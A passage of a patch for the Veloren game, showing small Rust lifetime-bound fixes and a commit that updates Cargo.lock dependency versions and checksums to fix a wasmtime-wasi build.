+-        for<'a> &'a Skel::Body: Into<Skel::Attr>,
++        Skel::Attr: 'c,
++        Skel::Attr: for<'a> From<&'a Skel::Body>,
+         Skel::Body: Clone + Send + Sync + 'static,
+         <Skel::Body as BodySpec>::Spec: Send + Sync + 'static,
+     {
+@@ -443,7 +444,7 @@ where
+                                 opaque,
+                                 bounds,
+                                 vertex_range,
+-                            }) = Arc::get_mut(recv).take().and_then(|cell| cell.take())
++                            }) = Arc::get_mut(recv).and_then(|cell| cell.take())
+                             {
+                                 let model_entry = atlas.create_figure(
+                                     renderer,
+@@ -641,6 +642,7 @@ where
+         sprite_render_state: &Arc<SpriteRenderState>,
+     ) -> (TerrainModelEntryLod<'c>, &'c Skel::Attr)
+     where
++        Skel::Attr: 'c,
+         for<'a> &'a Skel::Body: Into<Skel::Attr>,
+         Skel::Body: Clone + Send + Sync + 'static,
+         <Skel::Body as BodySpec>::Spec: Send + Sync + 'static,
+@@ -669,7 +671,7 @@ where
+                                 sprite_instances,
+                                 blocks_of_interest,
+                                 blocks_offset,
+-                            }) = Arc::get_mut(recv).take().and_then(|cell| cell.take())
++                            }) = Arc::get_mut(recv).and_then(|cell| cell.take())
+                             {
+                                 let model_entry = atlas.create_terrain(
+                                     renderer,
+
+commit 97378a437847b8860e548de3ce70c2c53f9347f6
+Author: rnhmjoj <rnhmjoj@inventati.org>
+Date:   Wed Jul 30 00:23:35 2025 +0200
+
+    Fix wasmtime-wasi build
+
+diff --git a/Cargo.lock b/Cargo.lock
+index f751793bc..593f05ec1 100644
+--- a/Cargo.lock
++++ b/Cargo.lock
+@@ -1,6 +1,6 @@
+ # This file is automatically @generated by Cargo.
+ # It is not intended for manual editing.
+-version = 3
++version = 4
+ 
+ [[package]]
+ name = "ab_glyph"
+@@ -197,9 +197,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "anyhow"
+-version = "1.0.89"
++version = "1.0.98"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6"
++checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487"
+ 
+ [[package]]
+ name = "anymap2"
+@@ -248,9 +248,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "arbitrary"
+-version = "1.3.2"
++version = "1.4.1"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "7d5a26814d8dcb93b0e5a0ff3c6d80a8843bafb21b39e8e18a6f05471870e110"
++checksum = "dde20b3d026af13f561bdd0f15edf01fc734f0dafcedbaf42bba506a9517f223"
+ 
+ [[package]]
+ name = "arr_macro"
+@@ -350,7 +350,7 @@ checksum = "721cae7de5c34fbb2acd27e21e6d2cf7b886dce0c27388d46c4e6c47ea4318dd"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -518,7 +518,7 @@ dependencies = [
+  "regex",
+  "rustc-hash 1.1.0",
+  "shlex",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -622,6 +622,9 @@ name = "bumpalo"
+ version = "3.16.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
++dependencies = [
++ "allocator-api2",
++]
+ 
+ [[package]]
+ name = "bytemuck"
+@@ -640,7 +643,7 @@ checksum = "0cc8b54b395f2fcfbb3d90c47b01c7f444d94d05bdeb775811dec868ac3bbc26"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -980,7 +983,7 @@ dependencies = [
+  "heck 0.5.0",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -1337,19 +1340,34 @@ dependencies = [
+ ]
+ 
+ [[package]]
+-name = "cranelift-bforest"
+-version = "0.113.1"
++name = "cranelift-assembler-x64"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "540b193ff98b825a1f250a75b3118911af918a734154c69d80bcfcf91e7e9522"
++checksum = "d2b83fcf2fc1c8954561490d02079b496fd0c757da88129981e15bfe3a548229"
++dependencies = [
++ "cranelift-assembler-x64-meta",
++]
++
++[[package]]
++name = "cranelift-assembler-x64-meta"
++version = "0.117.2"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "c7496a6e92b5cee48c5d772b0443df58816dee30fed6ba19b2a28e78037ecedf"
++
++[[package]]
++name = "cranelift-bforest"
++version = "0.117.2"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "73a9dc0a8d3d49ee772101924968830f1c1937d650c571d3c2dd69dc36a68f41"
+ dependencies = [
+  "cranelift-entity",
+ ]
+ 
+ [[package]]
+ name = "cranelift-bitset"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "c7cb269598b9557ab942d687d3c1086d77c4b50dcf35813f3a65ba306fd42279"
++checksum = "573c641174c40ef31021ae4a5a3ad78974e280633502d0dfc6e362385e0c100f"
+ dependencies = [
+  "serde",
+  "serde_derive",
+@@ -1357,11 +1375,12 @@ dependencies = [
+ 
+ [[package]]
+ name = "cranelift-codegen"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "46566d7c83a8bff4150748d66020f4c7224091952aa4b4df1ec4959c39d937a1"
++checksum = "2d7c94d572615156f2db682181cadbd96342892c31e08cc26a757344319a9220"
+ dependencies = [
+  "bumpalo",
++ "cranelift-assembler-x64",
+  "cranelift-bforest",
+  "cranelift-bitset",
+  "cranelift-codegen-meta",
+@@ -1370,43 +1389,47 @@ dependencies = [
+  "cranelift-entity",
+  "cranelift-isle",
+  "gimli",
+- "hashbrown 0.14.5",
++ "hashbrown 0.15.4",
+  "log",
++ "pulley-interpreter",
+  "regalloc2",
+  "rustc-hash 2.0.0",
++ "serde",
+  "smallvec",
+  "target-lexicon",
+ ]
+ 
+ [[package]]
+ name = "cranelift-codegen-meta"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "2df8a86a34236cc75a8a6a271973da779c2aeb36c43b6e14da474cf931317082"
++checksum = "beecd9fcf2c3e06da436d565de61a42676097ea6eb6b4499346ac6264b6bb9ce"
+ dependencies = [
++ "cranelift-assembler-x64",
+  "cranelift-codegen-shared",
++ "pulley-interpreter",
+ ]
+ 
+ [[package]]
+ name = "cranelift-codegen-shared"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "cf75340b6a57b7c7c1b74f10d3d90883ee6d43a554be8131a4046c2ebcf5eb65"
++checksum = "0f4ff8d2e1235f2d6e7fc3c6738be6954ba972cd295f09079ebffeca2f864e22"
+ 
+ [[package]]
+ name = "cranelift-control"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "2e84495bc5d23d86aad8c86f8ade4af765b94882af60d60e271d3153942f1978"
++checksum = "001312e9fbc7d9ca9517474d6fe71e29d07e52997fd7efe18f19e8836446ceb2"
+ dependencies = [
+  "arbitrary",
+ ]
+ 
+ [[package]]
+ name = "cranelift-entity"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "963c17147b80df351965e57c04d20dbedc85bcaf44c3436780a59a3f1ff1b1c2"
++checksum = "eb0fd6d4aae680275fcbceb08683416b744e65c8b607352043d3f0951d72b3b2"
+ dependencies = [
+  "cranelift-bitset",
+  "serde",
+@@ -1415,9 +1438,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "cranelift-frontend"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "727f02acbc4b4cb2ba38a6637101d579db50190df1dd05168c68e762851a3dd5"
++checksum = "9fd44e7e5dcea20ca104d45894748205c51365ce4cdb18f4418e3ba955971d1b"
+ dependencies = [
+  "cranelift-codegen",
+  "log",
+@@ -1427,15 +1450,15 @@ dependencies = [
+ 
+ [[package]]
+ name = "cranelift-isle"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "32b00cc2e03c748f2531eea01c871f502b909d30295fdcad43aec7bf5c5b4667"
++checksum = "f900e0a3847d51eed0321f0777947fb852ccfce0da7fb070100357f69a2f37fc"
+ 
+ [[package]]
+ name = "cranelift-native"
+-version = "0.113.1"
++version = "0.117.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "bbeaf978dc7c1a2de8bbb9162510ed218eb156697bc45590b8fbdd69bb08e8de"
++checksum = "7617f13f392ebb63c5126258aca8b8eca739636ca7e4eeee301d3eff68489a6a"
+ dependencies = [
+  "cranelift-codegen",
+  "libc",
+@@ -1647,7 +1670,7 @@ checksum = "1234e1717066d3c71dcf89b75e7b586299e41204d361db56ec51e6ded5014279"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -1697,7 +1720,7 @@ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+  "strsim",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -1708,7 +1731,7 @@ checksum = "d336a2a514f6ccccaa3e09b02d41d35330c07ddf03a62165fcec10bb561c7806"
+ dependencies = [
+  "darling_core",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -1884,7 +1907,7 @@ checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -2044,7 +2067,7 @@ dependencies = [
+  "heck 0.5.0",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -2065,7 +2088,7 @@ checksum = "f282cfdfe92516eb26c2af8589c274c7c17681f5ecc03c18255fe741c6aa64eb"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -2086,7 +2109,7 @@ dependencies = [
+  "darling",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -2112,12 +2135,12 @@ checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
+ 
+ [[package]]
+ name = "errno"
+-version = "0.3.9"
++version = "0.3.13"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "534c5cf6194dfab3db3242765c03bbe257cf92f22b38f6bc0c58d59108a820ba"
++checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
+ dependencies = [
+  "libc",
+- "windows-sys 0.52.0",
++ "windows-sys 0.59.0",
+ ]
+ 
+ [[package]]
+@@ -2377,7 +2400,7 @@ checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -2484,7 +2507,7 @@ checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -2651,7 +2674,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "32085ea23f3234fc7846555e85283ba4de91e21016dc0455a16286d87a292d64"
+ dependencies = [
+  "fallible-iterator",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "stable_deref_trait",
+ ]
+ 
+@@ -2860,16 +2883,14 @@ checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
+ dependencies = [
+  "ahash 0.8.11",
+  "allocator-api2",
+- "serde",
+ ]
+ 
+ [[package]]
+ name = "hashbrown"
+-version = "0.15.1"
++version = "0.15.4"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "3a9bfc1af68b1726ea47d3d5109de126281def866b33970e10fbab11b5dafab3"
++checksum = "5971ac85611da7067dbfcabef3c70ebb5606018acd9e2a3903a0da507521e0d5"
+ dependencies = [
+- "allocator-api2",
+  "equivalent",
+  "foldhash",
+  "rayon",
+@@ -3330,7 +3351,7 @@ checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -3393,12 +3414,12 @@ dependencies = [
+ 
+ [[package]]
+ name = "indexmap"
+-version = "2.5.0"
++version = "2.10.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "68b900aa2f7301e21c36462b170ee99994de34dff39a4a6a528e80e7376d07e5"
++checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661"
+ dependencies = [
+  "equivalent",
+- "hashbrown 0.14.5",
++ "hashbrown 0.15.4",
+  "rayon",
+  "serde",
+ ]
+@@ -3438,7 +3459,7 @@ dependencies = [
+  "lazy_static",
+  "proc-macro2 1.0.89",
+  "rustc-hash 1.1.0",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -3449,7 +3470,7 @@ checksum = "46d62a0a3b6af04d4eee8e7251cd758ce74b0ed86253d3e4ac8a1b297a75f4a0"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -3505,7 +3526,7 @@ dependencies = [
+  "pretty_assertions",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -3637,9 +3658,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "itoa"
+-version = "1.0.11"
++version = "1.0.15"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "49f1f14873335454500d59611f1cf4a4b0f786f9ac11f4312a78e4cf2566695b"
++checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
+ 
+ [[package]]
+ name = "ittapi"
+@@ -3821,6 +3842,12 @@ version = "0.2.5"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67"
+ 
++[[package]]
++name = "leb128fmt"
++version = "0.1.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2"
++
+ [[package]]
+ name = "levenshtein"
+ version = "1.0.5"
+@@ -3850,7 +3877,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "4979f22fdb869068da03c9f7528f8297c6fd2606bc3a4affe42e6a823fdb8da4"
+ dependencies = [
+  "cfg-if 1.0.0",
+- "windows-targets 0.48.5",
++ "windows-targets 0.52.6",
+ ]
+ 
+ [[package]]
+@@ -4239,7 +4266,7 @@ dependencies = [
+  "bitflags 2.6.0",
+  "codespan-reporting",
+  "hexf-parse",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "log",
+  "num-traits",
+  "petgraph 0.6.5",
+@@ -4569,7 +4596,7 @@ checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -4683,7 +4710,7 @@ dependencies = [
+  "proc-macro-crate",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -4695,7 +4722,7 @@ dependencies = [
+  "proc-macro-crate",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -4870,13 +4897,13 @@ dependencies = [
+ 
+ [[package]]
+ name = "object"
+-version = "0.36.4"
++version = "0.36.7"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "084f1a5821ac4c651660a94a7153d27ac9d8a53736203f58b31945ded098070a"
++checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87"
+ dependencies = [
+  "crc32fast",
+- "hashbrown 0.14.5",
+- "indexmap 2.5.0",
++ "hashbrown 0.15.4",
++ "indexmap 2.10.0",
+  "memchr",
+ ]
+ 
+@@ -5051,7 +5078,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "b4c5cc86750666a3ed20bdaf5ca2a0344f9c67674cae0515bec2da16fbaa47db"
+ dependencies = [
+  "fixedbitset 0.4.2",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+ ]
+ 
+ [[package]]
+@@ -5288,7 +5315,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "a65f2e60fbf1063868558d69c6beacf412dc755f9fc020f514b7955fc914fe30"
+ dependencies = [
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -5354,13 +5381,13 @@ dependencies = [
+ 
+ [[package]]
+ name = "pulley-interpreter"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "df33e7f8a43ccc7f93b330fef4baf271764674926f3f4d40f4a196d54de8af26"
++checksum = "cb0ecb9823083f71df8735f21f6c44f2f2b55986d674802831df20f27e26c907"
+ dependencies = [
+  "cranelift-bitset",
+  "log",
+- "sptr",
++ "wasmtime-math",
+ ]
+ 
+ [[package]]
+@@ -5660,19 +5687,20 @@ dependencies = [
+  "quote 1.0.37",
+  "refinery-core",
+  "regex",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+ name = "regalloc2"
+-version = "0.10.2"
++version = "0.11.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "12908dbeb234370af84d0579b9f68258a0f67e201412dd9a2814e6f45b2fc0f0"
++checksum = "dc06e6b318142614e4a48bc725abbf08ff166694835c43c9dae5a9009704639a"
+ dependencies = [
+- "hashbrown 0.14.5",
++ "allocator-api2",
++ "bumpalo",
++ "hashbrown 0.15.4",
+  "log",
+  "rustc-hash 2.0.0",
+- "slice-group-by",
+  "smallvec",
+ ]
+ 
+@@ -5883,9 +5911,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "rustix"
+-version = "0.38.40"
++version = "0.38.44"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "99e4ea3e1cdc4b559b8e5650f9c8e5998e3e5c1343b4eaf034565f32318d63c0"
++checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
+ dependencies = [
+  "bitflags 2.6.0",
+  "errno",
+@@ -5893,7 +5921,7 @@ dependencies = [
+  "libc",
+  "linux-raw-sys",
+  "once_cell",
+- "windows-sys 0.52.0",
++ "windows-sys 0.59.0",
+ ]
+ 
+ [[package]]
+@@ -6197,22 +6225,22 @@ checksum = "cd0b0ec5f1c1ca621c432a25813d8d60c88abe6d3e08a3eb9cf37d97a0fe3d73"
+ 
+ [[package]]
+ name = "serde"
+-version = "1.0.210"
++version = "1.0.219"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "c8e3592472072e6e22e0a54d5904d9febf8508f65fb8552499a1abc7d1078c3a"
++checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6"
+ dependencies = [
+  "serde_derive",
+ ]
+ 
+ [[package]]
+ name = "serde_derive"
+-version = "1.0.210"
++version = "1.0.219"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f"
++checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -6245,7 +6273,7 @@ checksum = "6c64451ba24fc7a6a2d60fc75dd9c83c90903b19028d4eff35e88fc1e86564e9"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -6277,10 +6305,10 @@ checksum = "8e28bdad6db2b8340e449f7108f020b3b092e8583a9e3fb82713e1d4e71fe817"
+ dependencies = [
+  "base64 0.22.1",
+  "chrono",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "hex",
+  "indexmap 1.9.3",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "serde",
+  "serde_derive",
+  "serde_json",
+@@ -6297,7 +6325,7 @@ dependencies = [
+  "darling",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -6458,12 +6486,6 @@ dependencies = [
+  "autocfg",
+ ]
+ 
+-[[package]]
+-name = "slice-group-by"
+-version = "0.3.1"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "826167069c09b99d56f31e9ae5c99049e932a98c9dc2dac47645b08dbbf76ba7"
+-
+ [[package]]
+ name = "slotmap"
+ version = "1.0.7"
+@@ -6697,7 +6719,7 @@ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+  "rustversion",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -6813,9 +6835,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "syn"
+-version = "2.0.79"
++version = "2.0.87"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "89132cd0bf050864e1d38dc3bbc07a0eb8e7530af26344d3d2bbbef83499f590"
++checksum = "25aa4ce346d03a6dcd68dd8b4010bcb74e54e62c90c573f394c46eae99aba32d"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+@@ -6851,7 +6873,7 @@ checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -6889,9 +6911,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "target-lexicon"
+-version = "0.12.16"
++version = "0.13.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
++checksum = "e502f78cdbb8ba4718f566c418c52bc729126ffd16baee5baa718cf25dd5a69a"
+ 
+ [[package]]
+ name = "tempfile"
+@@ -6932,7 +6954,7 @@ checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -7070,7 +7092,7 @@ checksum = "693d596312e88961bc67d7f1f97af8a70227d9f90c31bba5806eec004978d752"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -7131,7 +7153,7 @@ version = "0.19.15"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421"
+ dependencies = [
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "toml_datetime",
+  "winnow 0.5.40",
+ ]
+@@ -7142,7 +7164,7 @@ version = "0.22.22"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+ checksum = "4ae48d6208a266e853d946088ed816055e556cc6028c5e8e2b84d9fa5dd7c7f5"
+ dependencies = [
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "serde",
+  "serde_spanned",
+  "toml_datetime",
+@@ -7209,7 +7231,7 @@ checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -7283,6 +7305,17 @@ dependencies = [
+  "cc",
+ ]
+ 
++[[package]]
++name = "trait-variant"
++version = "0.1.2"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "70977707304198400eb4835a78f6a9f928bf41bba420deb8fdb175cd965d77a7"
++dependencies = [
++ "proc-macro2 1.0.89",
++ "quote 1.0.37",
++ "syn 2.0.87",
++]
++
+ [[package]]
+ name = "treeculler"
+ version = "0.4.0"
+@@ -7525,7 +7558,7 @@ dependencies = [
+  "authc",
+  "byteorder",
+  "clap",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "hickory-resolver",
+  "image",
+  "num 0.4.3",
+@@ -7559,7 +7592,7 @@ dependencies = [
+  "fluent",
+  "fluent-bundle",
+  "fluent-syntax",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "intl-memoizer",
+  "serde",
+  "tracing",
+@@ -7583,8 +7616,8 @@ dependencies = [
+  "dot_vox",
+  "enum-map",
+  "fxhash",
+- "hashbrown 0.15.1",
+- "indexmap 2.5.0",
++ "hashbrown 0.15.4",
++ "indexmap 2.10.0",
+  "itertools 0.13.0",
+  "kiddo",
+  "lazy_static",
+@@ -7621,7 +7654,7 @@ version = "0.10.0"
+ dependencies = [
+  "assets_manager",
+  "dot_vox",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "image",
+  "lazy_static",
+  "ron",
+@@ -7676,7 +7709,7 @@ dependencies = [
+ name = "veloren-common-i18n"
+ version = "0.1.0"
+ dependencies = [
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "rand",
+  "serde",
+ ]
+@@ -7687,7 +7720,7 @@ version = "0.10.0"
+ dependencies = [
+  "bincode",
+  "flate2",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "image",
+  "num-traits",
+  "serde",
+@@ -7706,7 +7739,7 @@ dependencies = [
+  "bincode",
+  "bytes",
+  "futures",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "hex",
+  "num_cpus",
+  "rayon",
+@@ -7758,7 +7791,7 @@ dependencies = [
+  "criterion",
+  "crossbeam-channel",
+  "futures-util",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "lazy_static",
+  "lz-fear",
+  "prometheus",
+@@ -7786,7 +7819,7 @@ dependencies = [
+  "bitflags 2.6.0",
+  "bytes",
+  "criterion",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "prometheus",
+  "rand",
+  "tokio",
+@@ -7813,7 +7846,7 @@ dependencies = [
+  "atomic_refcell",
+  "enum-map",
+  "fxhash",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "itertools 0.13.0",
+  "rand",
+  "rand_chacha",
+@@ -7841,7 +7874,7 @@ dependencies = [
+  "drop_guard",
+  "enum-map",
+  "futures-util",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "humantime",
+  "itertools 0.13.0",
+  "lazy_static",
+@@ -7957,7 +7990,7 @@ dependencies = [
+  "gilrs",
+  "glyph_brush",
+  "guillotiere",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "iced_native",
+  "iced_winit",
+  "image",
+@@ -8063,7 +8096,7 @@ dependencies = [
+  "fixed",
+  "flate2",
+  "fxhash",
+- "hashbrown 0.15.1",
++ "hashbrown 0.15.4",
+  "image",
+  "indicatif",
+  "itertools 0.13.0",
+@@ -8164,7 +8197,7 @@ dependencies = [
+  "once_cell",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+  "wasm-bindgen-shared",
+ ]
+ 
+@@ -8198,7 +8231,7 @@ checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+  "wasm-bindgen-backend",
+  "wasm-bindgen-shared",
+ ]
